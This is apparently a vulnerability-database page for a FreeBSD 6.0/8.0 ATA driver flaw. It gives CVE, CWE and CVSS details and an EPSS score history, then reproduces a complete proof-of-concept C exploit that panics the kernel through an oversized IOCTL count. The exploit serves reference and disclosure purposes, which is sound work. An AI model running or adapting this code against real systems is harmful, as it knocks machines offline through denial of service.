CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
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Search : CVE id, CWE id, CAPEC id, vendor or keywords in CVE
The IATA (ata) driver in FreeBSD 6.0 and 8.0, when read access to /dev is available, allows local users to cause a denial of service (kernel panic) via a certain IOCTL request with a large count, which triggers a malloc call with a large value.
Category : Permissions, Privileges, and Access Controls Weaknesses in this category are related to the management of permissions, privileges, and other security features that are used to perform access control.
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
4.7
AV:L/AC:M/Au:N/C:N/I:N/A:C
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
1.76%
–
–
2022-03-27
–
–
1.76%
–
–
2022-04-03
–
–
1.76%
–
–
2022-04-17
–
–
1.76%
–
–
2022-08-28
–
–
1.76%
–
–
2023-03-05
–
–
1.76%
–
–
2023-03-12
–
–
–
0.04%
–
2024-01-14
–
–
–
0.04%
–
2024-02-25
–
–
–
0.04%
–
2024-04-14
–
–
–
0.04%
–
2024-06-02
–
–
–
0.04%
–
2024-06-09
–
–
–
0.04%
–
2024-10-27
–
–
–
0.04%
–
2024-12-15
–
–
–
0.04%
–
2024-12-22
–
–
–
0.04%
–
2025-01-19
–
–
–
0.04%
–
2025-01-19
–
–
–
0.04%
–
2025-03-18
–
–
–
–
0.09%
2025-03-30
–
–
–
–
0.09%
2025-04-06
–
–
–
–
0.09%
2025-04-08
–
–
–
–
0.09%
2025-04-09
–
–
–
–
0.09%
2025-04-12
–
–
–
–
0.09%
2025-04-15
–
–
–
–
0.09%
2025-04-15
–
–
–
–
0.09,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
/* atapanic.c
*
* by Shaun Colley, 13 July 2009
*
* this panics the freebsd kernel by passing a large value to malloc(9) in one of
* fbsd's ata ioctl's. tested on freebsd 6.0 and 8.0. you need read access to the
* ata device in /dev to be able to open() the device. chain with some race condition
* bug?
*
* - shaun
*
*/
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <fcntl.h>
struct ata_ioc_requestz {
union {
struct {
u_int8_t command;
u_int8_t feature;
u_int64_t lba;
u_int16_t count;
} ata;
struct {
char ccb[16];
} atapi;
} u;
caddr_t data;
int count;
int flags;
int timeout;
int error;
};
#define IOCATAREQUEST _IOWR('a', 100, struct ata_ioc_requestz)
int main() {
struct ata_ioc_requestz evil;
int fd;
evil.count = 0xffffffff;
fd = open("/dev/acd0", O_RDONLY); /* /dev/acd0 is one of my ata devices */
ioctl(fd, IOCATAREQUEST, &evil);
/* should never reach here if kernel panics */
return 0;
}
// milw0rm.com [2009-07-13]